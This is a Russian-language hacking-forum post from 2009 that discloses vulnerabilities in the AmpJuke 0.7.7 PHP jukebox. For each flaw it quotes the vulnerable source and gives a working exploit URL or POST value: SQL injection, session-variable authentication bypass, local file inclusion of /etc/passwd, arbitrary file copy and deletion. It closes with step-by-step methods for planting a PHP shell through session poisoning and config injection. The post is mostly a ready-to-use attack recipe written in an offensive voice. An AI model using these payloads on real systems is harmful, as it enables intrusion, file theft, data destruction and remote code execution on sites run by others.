Уязвимости AmpJuke 0.7.7(latest version)

Discussion in 'Веб-уязвимости' started by Iceangel_, 26 Apr 2009.

  1. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    Уязвимости AmpJuke 0.7.7(latest version)

    download: http://www.ampjuke.org/ampjuke-0.7.7.tar.gz


    Предисловие:
    На предыдущие версии движка, в паблике валяется только одна sql-инъекция... Ну посмотрим, что можно сделать в новой версии =)

    1) [SQL-injection]

    get_lyrics.php
    уязвимый код:
    PHP:
    parse_str($_SERVER["QUERY_STRING"]);
    require(
    "db.php");
    require(
    "sql.php");
    require(
    "disp.php");

    $qry="SELECT id,name,performer_id FROM track WHERE id=".$id;
    $result=execute_sql($qry,0,100000,$nr);
    эксплуатирование:

    Code:
    get_lyrics.php?id=-1+union+select+1,version(),3--+
    2) [bypass]

    make_header.php
    уязвимый код:
    PHP:
    <?php
    session_start
    ();
    parse_str($_SERVER["QUERY_STRING"]); //с помощью данной функции перезапишем нужные нам значения переменных в массиве $_SESSION

    $ok=0;
    if (isset(
    $_SESSION['login'])) { $ok++; }
    if (isset(
    $_SESSION['passwd'])) { $ok++; }
    ?>
    <?php
    if ($ok!=2) { 
        
    session_destroy();
        include_once(
    "disp.php");
        
    // 0.6.3: If we need to redirect (session timeout), but we have enabled "remember me"
        // then remember the url parameters as well:
        
    redir("login.php?".$_SERVER["QUERY_STRING"]);
        exit;
    }

    эксплуатирование:
    Code:
    make_header.php?_SESSION[login]=[b]<any symbols>[/b]&_SESSION[passwd]=[b]<any symbols>[/b]


    3) [LFI] (требования: magic_quotes=off )

    1)make_header.php
    уязвимый код:
    PHP:
    $ret.=get_icon($_SESSION['icon_dir'],'favorite_add',$t); //вызов функции
    disp.php
    PHP:
    function get_icon($dir,$wanted_icon,$add_txt) {
        global 
    $icon_array;
         
    // DEFAULT: return what we had until version 0.7.0: The small "mnu_arr.gif":
        
    $ret='<img src="./ampjukeicons/mnu_arr.gif" border="0">';
        
    $icon='';
        
    $is_already_read=0;
        
        
    // 0.7.3: Did we read this icon from disk previously ?
        
    if (array_key_exists($wanted_icon,$icon_array)) {
            
    $ret=$icon_array[$wanted_icon];
            
    $is_already_read=1;
        }    

        if (
    $is_already_read==0) {
            if ((
    file_exists('./ampjukeicons/'.$dir.'/icon_index.php')) &&
                (
    is_readable('./ampjukeicons/'.$dir.'/icon_index.php'))) {
                include(
    './ampjukeicons/'.$dir.'/icon_index.php');       //сам инклуд
                
                
    эксплуатирование:
    Code:
    make_header.php?_SESSION[login]=admin&_SESSION[passwd]=1222&_SESSION[icon_dir]=../../../../../../../etc/passwd%00
    2)now_playing.php
    уязвимый код
    PHP:

    switch($_REQUEST['action']) {
         case 
    'ampjuke_now_playing'
            echo 
    "ampjuke_now_playing|";
            if (
    file_exists('./tmp/np'.$_REQUEST['user_id'].'.txt')) {
                include(
    './tmp/np'.$_REQUEST['user_id'].'.txt');


    эксплуатирование:
    Code:
    now_playing.php?action=ampjuke_now_playing&user_id=/../../../../../../etc/passwd%00


    4) [Произвольное копирование файлов] (требования: magic_quotes=off)

    amazon4.php
    уязвимый код:
    PHP:
    function ampjuke_save_cover($cover,$amazon_string) {
        
    $handle=fopen($cover,"r");
        
    $out_handle=fopen('./covers/'.$amazon_string.'.jpg'"w");
        while (!
    feof($handle)) {
            
    $data=fread($handle,4096);
            
    fwrite($out_handle,$data);
        }
        
    fclose($handle);
        
    fclose($out_handle);
    }


    if (
    file_exists('./covers/'.$amazon_string.'.jpg')) { 
        
    ampjuke_save_cover('./covers/'.$amazon_string.'.jpg',$amazon_album_id); 
        if (
    is_writable('./covers/'.$amazon_string.'.jpg')) { // get rid of 'old' cover ("name.jpg"):
            
    unlink('./covers/'.$amazon_string.'.jpg');
        }
    }

    эксплуатирование:
    У уязвимости есть особенность, файл откуда производилось чтение, удаляется, так что осторожней с этой багой :)

    Code:
    amazon/amazon4.php?amazon_string=../../../../../../../../../../etc/passwd%00&amazon_album_id=../result.php%00



    5) [Произвольное удаление файлов] (требования: magic_quotes=off)

    loginvalidate.php
    уязвимый код:
    PHP:
    if ((!isset($_POST['uuid'])) || (!file_exists($_POST['uuid']))) {
        echo 
    'Sorry. Cannot validate username+password. Please <a href="login.php">login again</a>';
        die();
    }    
    @
    unlink($_POST['uuid']);

    эксплуатирование:
    Если мы совсем уж вредные какеры, и нас хлебом не корми, дай что-нибудь удалить, то в POST-пакете отправляем скрипту uuid=index.php




    [Загрузка шелла]

    1) через сессии (общеизвестный, впринципе, способ)
    Code:
    make_header.php?_SESSION[login]=1222&_SESSION[passwd]=1222&_SESSION[shell]=<?php phpinfo(); ?>
    и затем инклудим
    Code:
    now_playing.php?action=ampjuke_now_playing&user_id=/../../../../../../../../../../tmp/sess_[b]<идентификатор сессии>[/b]%00
    2) правка конфига sitecfg.php(требуется доступ в админ-панель)
    дописываем к любому параметру "; phpinfo(); //
    код запишется в db.php

    3) через копирование файлов
    заносим наш злой код в файл сессии
    Code:
    make_header.php?_SESSION[login]=1222&_SESSION[passwd]=1222&_SESSION[shell]=<?php phpinfo(); ?>
    и копируем файл сессии в папку с сайтом
    Code:
    /amazon/amazon5.php?amazon_string=../../../../../../../../../../tmp/sess_[b]<идентификатор сессии>[/b]&amazon_album_id=../shell.php%00
     
    #1 Iceangel_, 26 Apr 2009
    Last edited: 26 Apr 2009
    5 people like this.